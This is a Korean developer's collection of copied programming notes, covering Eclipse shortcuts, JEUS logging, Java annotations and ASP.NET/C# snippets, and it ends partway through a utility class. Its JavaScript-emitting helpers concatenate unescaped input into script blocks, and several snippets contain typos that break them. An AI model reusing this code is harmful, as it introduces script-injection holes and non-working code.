=== 단축키 ===
# Ctrl + F11                  : 바로 전에 실행했던 클래스 실행
# Ctrl + F3                   : Class, Method, Member를 상세하게 검색할때 사용
# Alt + 키보드 방향키(←, →) : ← 방향키는 이전 화면 표시, → 방향키는 이후 화면 표시
# Ctrl + o                    : 해당 소스의 메소드 리스트를 확인할때 사용
# F4                          : 클래스 명을 선택 후 F4를 누르면 Hierarchy를 Pakage Explorer 옆에 표시
# Ctrl + F6                   : Utraedit나 EditPlus의 Ctrl+Tab와 같은 기능
# Ctrl + F7                   : 편잡창이 아닌 각 그룹별 창간 전환 기능
# Ctrl + F8                   : 퍼스펙티브간 전환
# F12                         : 에디터로 포커스 위치
# Ctrl + k                    : 찾고자 하는 문자열을 선택 후 Ctrl + k 하면 똑같은 문자열을 순서대로 찾아준다.
# Ctrl + Shift + k            : 찾고자 하는 문자열을 위와 반대 순서대로 찾아준다.
# Ctrl + j                    : 입력하면서 찾아 준다.
# Ctrl + Shift + j            : 입력하면서 위의 반대 순서대로 찾아준다.
# Ctrl + f                    : 기본적인 찾기 명령
# Ctrl + Space                : 입력 보조 장치(Content Assintance) 강제 호출, 입력 도중이나 언제나 강제 호출 가능
# F2                          : 컴파일 오류가 난 빨간줄이 쳐진 부분을 클릭하고 F2를 누르면 에러 원인을 보여준다.
# Ctrl + l                    : 소스 안에서 원하는 소스 라인으로 이동할때 사용, 로컬 히스토리 기능을 이용을 하면 이전에 편집했던 내용으로 변환 가능.
# Ctrl + Shift + Space        : 메소드의 가로 안에 커서를 놓고 이 키를 누르면 파라미터 타입 힌트를  표시해준다.
# Ctrl + d                    : 소스에서 커서가 있는 줄의 내용을 모두 지운다.
# Ctrl + w                    : 사용중이던 파일을 닫는다. 위의 파일 창에서 사라진다.
# Ctrl + i                    : 들여쓰기 자동 수정(+ 3.0)
# Ctrl + Shift + /(백슬러쉬)  : 선택된 부분을 주석 처리 해준다(/* */ 주석처리) (+ 3.0)
# Ctrl + /(백슬러쉬)          : 여러줄이 한꺼번에 주석처리 된다. 주석 해제는 반대로(위도 동일)
# Alt + 방향키(↑, ↓)        : 선택된 줄을 ↑를 누르면 위의 내용과 위치가 바뀌고, ↓를 누르면 아래의 내용과 위치가 바뀐다.
# Alt + Shift + 방향키        : 블록 선택을 해준다.
# Ctrl + Shift + Space        : 메소드의 파라메터 목록 보기
# Ctrl + Shift + o            : 자동으로 import 하기
# Ctrl + Shift + F4           : 열린 파일 모두 닫기
# Ctrl + M                    : 전체 화면 토글
# Ctrl + Alt + 방향키(↑, ↓) : 선택된 내용을 방향키 방향에 복사한다.(한줄 블럭)
# Ctrl + , or .               : 다음 annotation(에러, 워닝, 북마크 가능)으로 점프
# Ctrl + 1                    : 퀵 픽스
# F3                          : 메소드 정의 부분으로 이동
# Ctrl + t                    : 하이어라키 팝업 창 띄우기(인터페이스 구현 클래스간 이동시 편리)
# Ctrl + o                    : 메소드나 필드 이동하기   
# Ctrl + Shift + y            : 대문자를 소문자로 변경하기
# Ctrl + Shift + x            : 소문자를 대문자로 변경하기
# Ctrl + Shift + b            : 현재 커서 위치에 Break Point 설정 및 해제하기

=== 템플릿 사용 ===
# sysout 입력한 후 Ctrl + Space 하면 System.out.println(); 으로 바뀐다.
# try 입력한 후 Ctrl + Space 하면 try-catch문이 완성된다.
# for 입력한 후 Ctrl + Space 하면 for문이 완성된다.
# 템플릿을 수정하거나 추가할려면 환경설정, 자바, 편집기, 템플리트 에서 할수 있다.


=== 메소드 쉽게 생성하기 ===
# 클래스 멤버를 일단 먼저 생성한다.
# override 메소드를 구현하려면, 소스 -> 메소드 대체, 구현에서 해당 메소드를 체크.
# 기타 클래스의 멤버가 클래스의 오브젝트라면 소스 -> 위임 메소드 생성에서 메소드 선택.

=== 메소드 쉽게 생성하기 ===
1. 환경설정 -> 자바 -> 코드 스타일 -> 코드 포멧터 -> 가져오기 -> 프로파일.xml 을 불러다가 쓰면 된다.
2. 또한 다수의 자바파일에 프로파일을 적용하려면 패키지 탐색기에서 패키지를 선택한 후 소스 -> 형식화를 선택하면 된다.
3. 환경설정 -> 자바 -> 코드 스타일 -> 코드 템플리트 -> 가져오기 -> 템플리트.xml 을 불러다가 쓰면 된다.

=== 참고 ===
1. 이클립스에서 JSP문서 작성시 한글 자료 입력이 허용되지 않을 때 window -> Preferences -> General : Content Types : JSP 의 하단에 있는
Default encoding을 euc-kr로 변경한다.

2. html, jsp 등의 문서 잣성 시 초기 서식을 변경하려면 window -> Preferences -> Web and XML 하위 메뉴의 해당 파일을 선택하고
Templates를 수정하면 된다.

출처 : http://blog.theple.com/rdk75/folder/2.html?uid=29

▣ 제목

JEUS 로깅 체계

▣ 내용

JEUS의 로그는 standard output으로 출력되거나 file로 기록됩니다.

JEUS에서 로그를 남기는 주체인 로거(Logger)들은 상-하 관계를 가집니다.

만일 자신의 출력방식(target)이 file이면 자신의 file에만 기록하고

stdout(standard output)이면 상위의 로거에 자신의 로그를 위임합니다.

Jeus Manager(jeus) 프로세스를 제외하고는 콘솔(console)을 점유하지 않으므로

stdout으로 target이 설정된 경우에는 상위 로거에 자신의 로그가 출력됩니다.

즉, stdout으로 설정하면 상위 로거의 출력방식(target)을 따라 상위 로거에 자신의 로그가 출력됩니다.


* 공통사항

- 출력방법 : stdout(or console) / file / stdout:file(stdout과 file 출력을 동시에)

- buffer size : 로깅은 I/O를 일으키므로 로깅 효율성(시스템 부하)을 위해 buffer를 사용하고

버퍼가 가득 찼을 때에만 I/O를 수행한다. 설정단위는 byte 이며 보통 1024 / 4096 / 8192

사용하고 대부분 8192 이상의 설정을 하여도 성능 차이는 미미하다.

- 일자별로 출력되는 경우 파일명은 <로그명>_월일년.log 로 생성된다.

- JEUS 3.x와 4.x의 로그 레벨 설정이 다르므로 주의한다(반드시 메뉴얼 참조)

- 운영중이고 문제가 거의 발생하지 않는 사이트인 경우에는 성능의 향상을 위해서

target은 file로, buffer size를 설정(4k or 8k), 로그 레벨을 중/상 정도로 설정하도록 한다.

1. JeusServer Log

- 출력방법 : stdout / file / stdout:file(stdout과 file 출력을 동시에)

- 생성위치 : $JEUS_HOME/logs/JeusServer/JeusServer_날짜.log

- 생성형태 : 일자별

- webadmin(웹으로 접근)을 사용하도록 설정된 JEUS인 경우 JeusServer Log는 <로그명>_월일년_0.log로

- 기록내용 : Jeus Manager에서 남기는 로그, thread dump 등.

- 지정 : JeusMain.xml의 Node -> Logging에서 설정

JEUSMain.xml의 jeus-system -> node -> system-log 에서 설정

2. Container Log

- 출력방법 : stdout / file

- 생성위치 : $JEUS_HOME/logs/JeusServer/<ContainerName>/ContainerName_날짜.log

- 생성형태 : 일자별

- 기록내용 : Container에서 남기는 로그

- 지정 : JeusMain.xml의 Node -> EngineContainer -> Logging에서 설정

JEUSMain.xml의 jeus-system -> node -> engine-container -> system-log 에서 설정

3. Servlet Engine Log

- Servlet Engine은 ContextGroup에서 남기는 로그(error log, access log, user log, context user log)와

stdout, stderr를 하위 항목으로 가진다.

4. StdOut Log

- 출력방법 : 기본적으로는 Container Log에 포함되나 redirection을 true로 지정할 경우 file로 기록된다.

- 생성위치 : $JEUS_HOME/logs/<ServletEngineName>/stdout_날짜.log

- 생성형태 : 일자별

- 기록내용 : AP에서 System.out.println() 메소드를 사용하여 남기는 로그

- 지정 : Container.xml의 Container -> RedirectStdOut 에서 설정

WEBMain.xml의 web-container -> redirect-stdout 에서 설정

5. StdErr Log

- 출력방법 : 기본적으로는 Container Log에 포함되나 redirection을 true로 지정할 경우 file로 기록된다.

- 생성위치 : $JEUS_HOME/logs/<ServletEngineName>/stderr_날짜.log

- 생성형태 : 일자별

- 기록내용 : AP에서 System.err.println() 메소드를 사용하여 남기는 로그

- 지정 : Container.xml(WEBMain.xml)의 Container -> RedirectStdErr 에서 설정

WEBMain.xml의 web-container -> redirect-stderr 에서 설정

6. Context Group

- Context Group은 error log, access log, user log, context user log를 하위 항목으로 가진다.

7. Access Log

- 출력방법 : stdout / file

- 생성위치 : $JEUS_HOME/logs/<ServletEngineName>/<ContextGroupName>/accesslog/access_날짜

$JEUS_HOME/logs/<ServletEngineName>/<ContextGroupName>/access..log

- 생성형태 : 일자별 or 단일파일

(valid days 설정을 하지 않거나 -1로 지정한 경우 단일파일에 쌓이게 되므로 반드시 valid da

- 기록내용 : ContextGroup에서 호출된 AP의 access 로그(호출시간, IP, Method, URL, 응답시간 등)

- 지정 : Container.xml의 Container -> ContextGroup -> AccessLogXXX 에서 설정

WEBMain.xml의 web-container -> context-group -> logging -> access-log 에서 설정

8. Error Log

- 출력방법 : stdout / file

- 생성위치 : $JEUS_HOME/logs/<ServletEngineName>/<ContextGroupName>/errorlog/

$JEUS_HOME/logs/<ServletEngineName>/<ContextGroupName>/error.log

- 생성형태 : 일자별 or 단일파일

(valid days 설정을 하지 않거나 -1로 지정한 경우 단일파일에 쌓이게 되므로 반드시 valid da

- 기록내용 : ContextGroup에서 호출된 AP의 수행과 관계되는 오류, servlet engine의 로그

- 지정 : Container.xml의 Container -> ContextGroup -> ErrorLogXXX 에서 설정

WEBMain.xml의 web-container -> context-group -> logging -> error-log 에서 설정

9. User Log

- 출력방법 : stdout / file

- 생성위치 : $JEUS_HOME/logs/<ServletEngineName>/<ContextGroupName>/userlog/

$JEUS_HOME/logs/<ServletEngineName>/<ContextGroupName>/user.log

- 생성형태 : 일자별 or 단일파일

(valid days 설정을 하지 않거나 -1로 지정한 경우 단일파일에 쌓이게 되므로 반드시 valid da

- 기록내용 : ContextGroup에 속한 worker thread들의 상태를 일정주기(Monitoring interval)로 출력(ti 결과

JSP의 내장 객체인 application.log() / Servlet의 ServletContext.log() 메소드를 AP에서 호출

해당 context에서 별도로 지정하지 않는 경우 ContextGroup의 User Log에 남게된다.

- 지정 : Container.xml의 Container -> ContextGroup -> ErrorLogXXX 에서 설정

WEBMain.xml의 web-container -> context-group -> logging -> user-log 에서 설정

10. Context User Log

- 출력방법 : stdout / file

- 생성위치 : $JEUS_HOME/logs/<ServletEngineName>/<ContextGroupName>/userlog/ContextName_

$JEUS_HOME/logs/<ServletEngineName>/<ContextGroupName>/ContextName.log

- 생성형태 : 일자별 or 단일파일

- 기록내용 : JSP의 내장 객체인 application.log() / Servlet의 ServletContext.log() 메소드를 AP에서 호출

별도로 설정하지 않으면 상위 로거인 User Log 에 남게된다.

- 지정 : Container.xml의 Container -> ContextGroup -> Context -> UserLogXXX 에서 설정

jeus-web-dd_<ContextName>.xml의 jeus-web-dd -> context -> user-log 에서 설정

11. EJB Engine Log

- 출력방법 : stdout / file

- 생성위치 : $JEUS_HOME/logs/<EJBEngineName>/

- 생성형태 : 일자별

- 기록내용 : Container에서 남기는 로그

- 지정 : EJBMain.xml의 EJBEngineConfig -> Logging에서 설정

EJBMain.xml의 ejb-engine -> system-log 에서 설정

▣ 참고사항

기타 , JMS 엔진에서 남기는 로그, JEUS System Engine에서 남기는 로그, WebT에서 남기는 로그, TM(Transaction Manager)에서 남기는 로그 등은 빈도가 낮아 언급하지 않았음.

통상적으로 한 컴퓨터안에 Apache 와 IIS를 사용하는 경우 많이 발생

Apache 또는 IIS가 80포트를 사용하기 때문에 서로 출돌이 나서 실행이 되지 않는 경우.

이럴 경우에는 Apache 포트를 변경하거나 잠시 중단하면 해결이 가능하다.
(또는 IIS의 포트 변경도 가능....)

출처 : http://blog.empas.com/trucrys/18210501

taskkill.exe 명령어 사용

/F  => 프로세서를 강제로 종료
/IM => 종료할 프로그램 이름
 
 
예) IE 프로그램을 죽일때
taskkill /F /IM iexplorer.exe

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>롤링 배너</title>

<style type="text/css">
#rollBanner {
    position:relative;
    width:150px;
    height:70px;
    overflow:hidden;
    border:1px solid #000;
    white-space:nowrap;
}
#rollBannerText {
    position:relative;
    width:200px;
    height:50px;
    overflow:hidden;
    border:1px solid #000;
    white-space:nowrap;
}
#rollBanner p    {
    position:absolute;
    margin:0;
}
#rollBannerText p    {
    position:absolute;
    margin:0;
}
</style>

<script type="text/javascript">

function    rollBanner(divId,intervalTime)  {
    var divId = document.getElementById(divId); // Roll Div 선언
    var pTag =  divId.getElementsByTagName("p")[0]; // absolute P 변수 선언
    var imgTag =  divId.getElementsByTagName("img"); //이미지 변수 선언 (실제로 여기선 필요없음. 다 링크가 달렸기때문에..)
    var textTag = divId.getElementsByTagName("a"); // 단순 Text 변수 혹은 이미지에 걸린 링크 선언
    var pWidth = pTag.offsetHeight; //p태그가 가진 Width값 변수
    var speed = 1; //1픽셀씩 이동

    pTag.style.top = 0 + "px"; //수정불가, 위치를 옮기고 싶다면 div 자체에 margin값을 스타일로 줘야함 (p자체가 움직이는 구조)

    var bannerArray = new Array(); // 배너를 롤링하기 위해 배열복사(배열까진 필요없을것 같기도함)
    bannerArray[0] = pTag.innerHTML; // 배열에 P 태그가 가지고 있는 항목 저장

    if (textTag.length != 0) // a 태그가 있으면 (img로 대체할수도 있겠지)
    {
        if (pWidth > divId.offsetHeight) //p width값이 div width 값보다 크다면 움직여라 (작은데도 움직일거면 삭제)
        {
            pTag.style.top = pTag.offsetTop; //absolute P태그의 left를 선언 (offset은 읽기전용이라서..)
            pTag.innerHTML=pTag.innerHTML+bannerArray[0]; //일단 처음에 배너 배열을 하나 더 복사해서 길게 만듬

            var rollInterval = setInterval(
            function()
            {
                /* onmouse Event */
                pTag.onmouseover = function() {
                    speed=0;//이동 안함
                };
                pTag.onmouseout = function() {
                    speed=1;//1픽셀씩 이동
                };

                pTag.style.top =  parseInt(pTag.style.top)-speed + "px";//1픽셀씩 이동
                if (parseInt(pTag.style.top) % pWidth==0)
                /* 배너 넓이 만큼 이동했을시 */
                {

                    pTag.innerHTML=pTag.innerHTML+bannerArray[0]; //뒤로 배너배열 하나더 추가
                }
            }
            ,intervalTime);

        }
    }

}

</script>

</head>


<body>
<div id="rollBanner">
<p>
 <table>
  <tr>
   <td>
    <a href="#"><img src="mainBanner1.jpg" alt="배너1" />1</a> <a href="#"><img src="mainBanner1.jpg" alt="배너1" />1 </a><br>
    <a href="#"><img src="mainBanner1.jpg" alt="배너1" />2</a> <a href="#"><img src="mainBanner1.jpg" alt="배너1" /> 2</a><br>
    </td>
  </tr>
</table>

</p>
</div>

<script type="text/javascript">
    rollBanner("rollBanner",25);
</script>


</body>
</html>


출처 : 다른 분이 찾아준 부분이어서 모름.....

Java 어노테이션(Annotation)에 관한 간략한 소개
Java Fundamental 2007/01/14 03:53

원본 : http://bioportal.weizmann.ac.il/course/prog2/tutorial/java/javaOO/annotations.html

JDK 5.0 릴리즈에는 어노테이션(annotation)이라 불리는 메타데이터 기능이 도입되었다. 어노테이션은 코드 조각의 작성자 명이나 컴파일러가 특정 오류를 억제하도록 지시하는 것과 같이 프로그램의 일부가 아닌 프로그램에 관한 데이터를 제공해 준다. 어노테이션은 코드가 어떻게 수행되는 것에는 아무런 영향을 주지 않는다.

어노테이션은 @어노테이션의 형태를 사용하고 클래스, 필드, 메소드 등과 같은 프로그램의 선언부에 적용할 수 있다. 어노테이션은 가장 처음으로 그리고 종종(관례상) 그 줄에 나타나며 임의의 인수를 포함할 수 있다:

        @Author("MyName")

        class myClass() { }

혹은

        @SuppressWarnings("unchecked")

        void MyMethod() { }


여러분만의 어노테이션을 정의하는 것은 여기에 기술되지 않을 고급기법에 속하지만, 모든 자바 프로그래머들이 알아야 하는 3개의 내장 어노테이션이 있다: @Deprecated, @Override, 그리고 @SuppressWarnings가 그것이다. 다음 예제들은 메소드에 적용된 모든 세 가지 타입의 어노테이션을 보여준다:

import java.util.List;


class Food {}

class Hay extends Food {}

class Animal {

    Food getPreferredFood() {

        return null;

    }

    /**

     * @deprecated document why the method was deprecated

     */

    @Deprecated

    static void deprecatedMethod() { }

}

class Horse extends Animal {

    Horse() {

        return;

    }

    @Override

    Hay getPreferredFood() {

        return new Hay();

    }

    @SuppressWarnings("deprecation")

    void useDeprecatedMethod() {

        Animal.deprecateMethod(); //deprecation warning - suppressed

    }

}


@Deprecated

@Deprecated 어노테이션은 표시된 메소드가 더 이상 사용되지 말아야 함을 가리킨다. 컴파일러는 프로그램이 비추천(deprecated) 메소드나 클래스 혹은 변수를 사용할 때마다 경고를 발생시킨다. 한 요소가 비추천되면 그것은 앞의 예제에 나타나 있는 것처럼 해당되는 @deprecated 태그를 사용하여 문서화 되어야 한다. 태그는 소문자 ‘d’로 시작하며 어노테이션은 대문자 ‘D’로 시작함을 주의하라. 일반적으로 여러분은 비추천 메소드의 사용을 피해야 하며 그것 대신 무엇을 사용해야 하는지를 확인해야 한다.


@Override

@Override 어노테이션은 요소가 상위 클래스에서 선언된 한 요소를 오버라이드 할 것임을 컴파일러에게 알려준다. 앞의 예제에서는 오버라이드 어노테이션이 Horse 클래스의 getPreferredFood 메소드가 Animal 클래스에 있는 동일한 메소드를 오버라이드하고 있음을 가리키는 데 사용되었다. @Override로 표시된 한 메소드가 상위 클래스에 있는 메소드를 오버라이드하는 데 실패할 경우 컴파일러는 에러를 발생시킨다.


메소드를 오버라이드 할 때 이 어노테이션을 사용하도록 요구되는 것은 아니기 때문에 특히 메소드가 오버라이드된 메소드의 리턴 타입의 하위 타입을 리턴할 때 명시적으로 그것을 드러내도록 요구하는 것이 유용할 수 있다. 이러한 관례는 “공변 리턴 타입(covariant return type)”이라 불리는데, 이전의 Food 인스턴스를 리턴하는 Animal.getPreferredFood 예제에서 사용되었다. Horse.getPreferredFood (Horse은 Animal의 하위클래스)는 Hay의 인스턴스를 리턴한다. 좀 더 자세한 정보를 위해서는 Overriding and Hiding Methods를 참조하라.


@SuppressWarnings

@SuppressWarnings 어노테이션은 컴파일러가 다르게 발생될 특정 경고를 억제하도록 해준다. 이전의 예제에서 useDeprecatedMethod는 Animal의 비추천 메소드를 호출한다. 보통 컴파일러는 경고를 발생시킬테지만, 이 경우에는 그것이 억제된다.

모든 컴파일러 경고는 한 종류에 속한다. 자바 언어 명세(Java Language Specification)는 “비추천(deprecation)”과 “비확인(unchecked)”의 두 가지 종류를 나열한다. “비확인” 경고는 제네릭이 나오기 전에 작성된 레거시 코드와 인터페이싱할 경우에 발생할 수 있다. 하나 이상의 경고 종류를 억제하려면 다음의 문법을 사용하라.

@SuppressWarnings({"unchecked", "deprecation"})

지원되는 경고 종류들의 목록을 보려면 컴파일러 문서를 확인하라.


어노테이션을 좀 더 고급스럽게 사용하는 것에는 자바 프로그램을 읽어 그것의 어노테이션을 처리할 수 있는 프로그램을 작성하는 것이 포함되어 있다. 이 작업을 돕기 위해, JDK 5.0 릴리즈에는 apt라 불리는 어노테이션 처리도구(annotation processing tool)가 포함되어 있다. 다음의 JDK 릴리즈(코드네임 머스탱)에는 apt 기능이 자바 컴파일러의 표준 요소가 될 것이다. 좀 더 자세한 정보를 보려면 Getting Started with the Annotation Processing Tool 를 참조하라. 머스탱의 진척사항에 관한 더 자세한 정보를 원한다면 Language Model API JSR 269: Pluggable Annotation Processing API 을 참고하라.

<html>
 <head>

  <script language="javascript">
   function ExemSubmit( str )
   {
    //document.exem.method              = "post";                    //아래 form tag에 적어두었으면 적을 필요 없음.
    document.exem.action                    = "URL or Page";       //아래 form tag와 중복 된다면 전송이 잘 이루어지지 않는다.
    document.exem.postparameter.value = "xxxx";                  //PageMode와 같은 파라메터 값을 지정하여 전송할 수 있다.
   
    //str변수를 받아 사용할 수 있다.
   }
   
   function chkForm()
   {
    //여기에 폼을 submit할 때 체크해야하는 로직을 적으세요//
   }
  </script>
 </head>
 
 
 <body>
  <form id="exem" name="exem" method="post" action="xxx.jsp" onsubmit="return chkForm();">
   <input type='button' name='insert' value='저장' onClick='JavaScript:ExemSubmit("Insert")'>&nbsp;
   <input type='button' name='update' value='수정' onClick='JavaScript:ExemSubmit("Update")'>&nbsp;
   <input type='button' name='delete' value='삭제' onClick='JavaScript:ExemSubmit("Delete")'>
   
   <!-- 위의 form tag에 전송할 것들을 모두 적어 두었다면 아래와 같이 submit할 수 있다.
   <input type='button' name='directSubmit' value='바로 전송' onClick='document.exem.submit()'>
   -->
  </form>
 </body>
</html>

- 우선 Win Form에 'notifyIcon'컨트롤을 추가.
- 속성에서 아이콘을 등록. (등록하지 않으면 트래이상태에서 아이콘이 보이지 않음)


- 이벤트 부분

//Tray 시키기
private void btnHide_Click(object sender, System.EventArgs e)
{
     this.Hide();                    // alt+tab 시 보이지 않는다.
     nIcon.Visible    = true;       // 트레이의 아이콘을 보이게 한다.
     this.Hide();
     this.nIcon.Text  = "설명.....";
}

//원래대로 돌아오기
private void nIcon_DoubleClick(object sender, System.EventArgs e)
{
     this.Visible             = true;
     this.ShowInTaskbar = true;                                  // 현재 프로그램을 테스크 바에 표시
     this.WindowState     = FormWindowState.Normal;   // 폼을 윈도 상태를 normal
     nIcon.Visible           = false;
}

 

[엔터프라이즈 관리자]

원격지에 있는 SQL서버에 접속 할 때 사전에 몇가지 알아두어야 할 사항.


1. OS 방화벽 열어주기

 2003은 기본적으로 방화벽이 설정되어있지 않다. 하지만 보안을 위해서 방화벽을 살리고 개인이 지정해 놓은 포트만을 열어두는 경우가 있다.  이럴때는 방화벽 설정에서 MS-SQL 서버 포트(기본 설정 포트는 1433이다.)를 열어주야 한다.


2. 공유기 사용시

 - 여러대의 컴을 공유기에 물려서 사용하는 경우 공유기의 포트를 포워딩 해주어야 한다. 한 개의 공유기에 연결되어있는 여러 대의 SQL서버를 원격지에서 동시에 관리하고 싶다면, SQL 서버의 포트를 각각 커스텀 포트로 변경 해 주어야 하며, 공유기 설정에서도 각각 커스텀화 된 포트를 모두 포워딩 해주어야 한다.

(2대 이상을 연결하는 사람이 많을지 의문이지만.....ㅡ.ㅡ)

출처 : http://cafe.naver.com/homepage815.cafe?iframe_url=/ArticleRead.nhn%3Farticleid=19

연결 문자열 작성

웹 데이터 응용 프로그램을 작성하려면 제일 먼저 ADO에 대해 데이터 원본을 찾아서 식별할 수 있는 방법을 제공해야 합니다. 이는 연결 문자열을 통해 수행할 수 있는데, 이 연결 문자열은 데이터 원본 공급자와 데이터 원본 위치 등의 매개 변수를 정의하는 일련의 인수로서 세미콜론으로 구분되어 있습니다. ADO는 연결 문자열을 사용하여 OLE DB 공급자를 식별하고 이 공급자를 데이터 원본으로 안내합니다. 공급자는 데이터 원본을 나타내고 응용 프로그램에 대해 정보를 행 집합 형태로 표시하는 구성 요소입니다.

다음 표에는 일반적인 여러 데이터 원본에 대한 OLE DB 연결 문자열이 나와 있습니다.

데이터 원본 OLE DB 연결 문자열
Microsoft?? Access Provider=Microsoft.Jet.OLEDB.4.0;Data Source=.mdb 파일의 실제 경로
Microsoft SQL Server Provider=SQLOLEDB.1;Data Source=데이터베이스 서버 경로
Oracle Provider=MSDAORA.1;Data Source=데이터베이스 서버 경로
Microsoft Indexing Service Provider=MSIDXS.1;Data Source=파일 경로

이전 버전과의 호환성을 제공하기 위해 ODBC용 OLE DB 공급자는 ODBC 연결 문자열 구문을 지원합니다. 다음 표에서는 일반적으로 사용하는 ODBC 연결 문자열을 소개합니다.

데이터 원본 드라이버 ODBC 연결 문자열
Microsoft Access Driver={Microsoft Access Driver (*.mdb)};DBQ=.mdb 파일의 실제 경로
SQL Server DRIVER={SQL Server};SERVER=서버 경로
Oracle DRIVER={Microsoft ODBC for Oracle};SERVER=서버 경로
Microsoft Excel Driver={Microsoft Excel Driver (*.xls)};DBQ=.xls 파일의 실제 경로; DriverID=278
Microsoft Excel 97 Driver={Microsoft Excel Driver (*.xls)};DBQ=.xls 파일의 실제 경로;DriverID=790
Paradox Driver={Microsoft Paradox Driver (*.db)};DBQ=.db 파일의 실제 경로;DriverID=26
텍스트 Driver={Microsoft Text Driver (*.txt;*.csv)};DefaultDir=.txt 파일의 실제 경로
Microsoft Visual FoxPro?? (데이터베이스 컨테이너 포함) Driver= {Microsoft Visual FoxProDriver};SourceType=DBC;SourceDb=.dbc 파일의 실제 경로
Microsoft Visual FoxPro(데이터베이스 컨테이너 제외) Driver= {Microsoft Visual FoxProDriver};SourceType=DBF;SourceDb=.dbf 파일의 실제 경로
 [Html 부분]
<DIV id = "GridDiv" runat = "server">

[cs부분]

protected
System.Web.UI.HtmlControls.HtmlGenericControl GridDiv; //GridDiv 변수를 선언
DataSet ds = new DataSet();

//DataSet에 조회된 내용의 유무에 따라 스타일을 다르게 적용한다.
//있다면 WIDTH: 790px; HEIGHT: 480px
//없다면 WIDTH: 100%; HEIGHT: 100%
if( ds.Tables[0].Rows.Count > 0 )
{

       //적용할 스타일 속성
       string Attributes = "WIDTH: 790px; HEIGHT: 480px; ....";    
       GridDiv.Attributes.Add( "style", Attributes );
   
       DataGrid1.DataSource = ds;
       DataGrid1.DataBind();

}
else
{

       //적용할 스타일 속성
       string Attributes = "WIDTH: 100%; HEIGHT: 100%; ....";    
       GridDiv.Attributes.Add( "style", Attributes );

       DataGrid1.DataSource = ds;
       DataGrid1.DataBind();

}

지금은 GhostDoc 등 자동으로 생성해주는 plug-in같은 프로그램들이 있지만....
자신의 입맛대로 쓰기에는 이쪽이 더 편한듯 하다......

===================================================================================================
매크로의 활용
1. "도구" / "매크로" / "매크로 탐색기" 를 선택.
2. 아무 모듈이나 선택하고( 예를 들어, Module1 ). 더블클릭
3. 다음과 같은 텍스트를 복사
 
   Sub WriteCurrentTime()
         DTE.ActiveDocument.Selection.Text = System.DateTime.Now.ToString()
   End Sub

4. 필요할 때 마다,  매크로 탐색기에서 해당 함수를 더블 클릭.


이거 말고 더 있었는데....뭐였더라?....
생각나면 더 올려야지...

 

머릿말에서 말한것 처럼 정말 웹페이지를 만들때 자바 스크립트가 많이 쓰인다.이것을 클래스로 만들어 매소드로 정의 한다음에 계속 가져다가 써보자


[자주쓰이는 자바스크립를 알아 보자!]


alert,window.open,alert.Location.href,window.opener.Location.reload()....등등 많이 쓰이고 있다. 한번 클래스를 만들어 놓고 자신이 자주 쓰는 스크립트는 계속 추가를 시켜주면된다.


[클래스 만들기!]


간단한 클래스 이기 때문에 우선 생성자는 없습니다.

그리고 서버단에서 자바스크립트를 쓸때 Response.write("") 로 값을 뿌리기 때문에 매서드를 만들때 String 형으로 반환하는 매서드를 만들겠습니다.

public static string JavascriptAlert(string str)

{

    StringBuilder strbuild = new StringBuilder("");

    strbuild.Append("<script language=\"javascript\">");

    strbuild.Append("   alert(\"" + str + "\");");

    strbuild.Append("</" + "script>");

    return strbuild.ToString();

}

 

alert 를 창을 띄우는 스크립트를 StringBuilder 클래스를 사용하여 문자열을 추가 시키고 있습니다. 여기에서 String 클래스를 안쓰고 굿이 StringBuilder 클래스를 사용하는 이유는 설명 안하겠습니다. 이부분은 다른 분이 올려놨으니 참고 하세요(최고 아티클의 [초급에서 중수로] .NET에서 문자열에 대한 이해)

그리고 static 로 만든 이유는 매번 자바스크립트를 써야 하는데 그때마다 인스턴스화를 안해주기 위해서 입니다. 그러니깐 언제 어디서든

클래스명.JavascriptAlert("창을 띄워라");

이런식으로 인스턴스화를 안해주고 사용할수가 있는 것이지요. 혹시 만약 이부분이 이해가 안가신다면 클래스 책 조금만 뒤지면 나올겁니다. 이렇게 다른 자바 스크립트도 만들어서 사용하 시면 편할겁니다. 그리고 응용을 해보면 게시판 같은 것을 만들때 html를 해석을 하지 말아야 할때가 있습니다. 이부분도 자주쓰일것같은데 이런것도

public static string Tagdate(string str)

{

   StringBuilder strbuild = new StringBuilder(str);

   strbuild.Replace("&apos;", "'");

   strbuild.Replace("&", "&amp;");

   strbuild.Replace("<", "&lt;");

   strbuild.Replace(">", "&gt;");

   strbuild.Replace("\n", "");

   strbuild.Replace("\r", "");

   strbuild.Replace("\"","");

   strbuild.Replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;");

   strbuild.Replace(" ", "&nbsp;");

   return strbuild.ToString();

}


문자열만 넘겨 주면 Replace로 바꿔줘서 리턴 받아 버리면 편하실 겁니다. 설명 할게 별로 없군요. 그냥 하나의 팁같은 걸로 공유 하고 싶었습니다.



using System;

using System.Text;


namespace wangasp

{

    /// <summary>

    /// utils에 대한 요약 설명입니다.

    /// </summary>

    public class utils

    {

        public utils()

        {

           

        }


        public static string JavascriptAlert(string str)

        {

            StringBuilder strbuild = new StringBuilder("");


            strbuild.Append("<script language=\"javascript\">");

            strbuild.Append("   alert(\"" + str + "\");");

            strbuild.Append("</" + "script>");


            return strbuild.ToString();


        }


        public static string Javascriptwindowopen(string str,string at)

        {

            StringBuilder strbuild = new StringBuilder("");


            strbuild.Append("<script language=\"javascript\">");

            strbuild.Append("   window.open(\"" + str + "\",\"\",\"" + at + "\");");

            strbuild.Append("</" + "script>");


            return strbuild.ToString();

        }


        public static string Javascriptwindowopen(string str)

        {

            StringBuilder strbuild = new StringBuilder("");


            strbuild.Append("<script language=\"javascript\">");

            strbuild.Append("   window.open(\"" + str + "\",\"\",\"\");");

            strbuild.Append("</" + "script>");


            return strbuild.ToString();

        }


        public static string JavascriptRedirect(string str)

        {

            StringBuilder strbuild = new StringBuilder("");


            strbuild.Append("<script language=\"javascript\">");

            strbuild.Append("   document.Location.href=\'" + str + "';");

            strbuild.Append("</" + "script>");


            return strbuild.ToString();

        }


        public static string JavascriptReload()

        {

            StringBuilder strbuild = new StringBuilder("");


            strbuild.Append("<script language=\"javascript\">");

            strbuild.Append("window.Location.reload(true);");

            strbuild.Append("</" + "script>");


            return strbuild.ToString();

        }


        public static string JavascriptBack()

        {

            StringBuilder strbuild = new StringBuilder("");


            strbuild.Append("<script language=\"javascript\">");

            strbuild.Append("   history.back();");

            strbuild.Append("</" + "script>");


            return strbuild.ToString();

        }


        public static string JavascriptClose()

        {

            StringBuilder strbuild = new StringBuilder("");


            strbuild.Append("<script language=\"javascript\">");

            strbuild.Append("   self.close();");

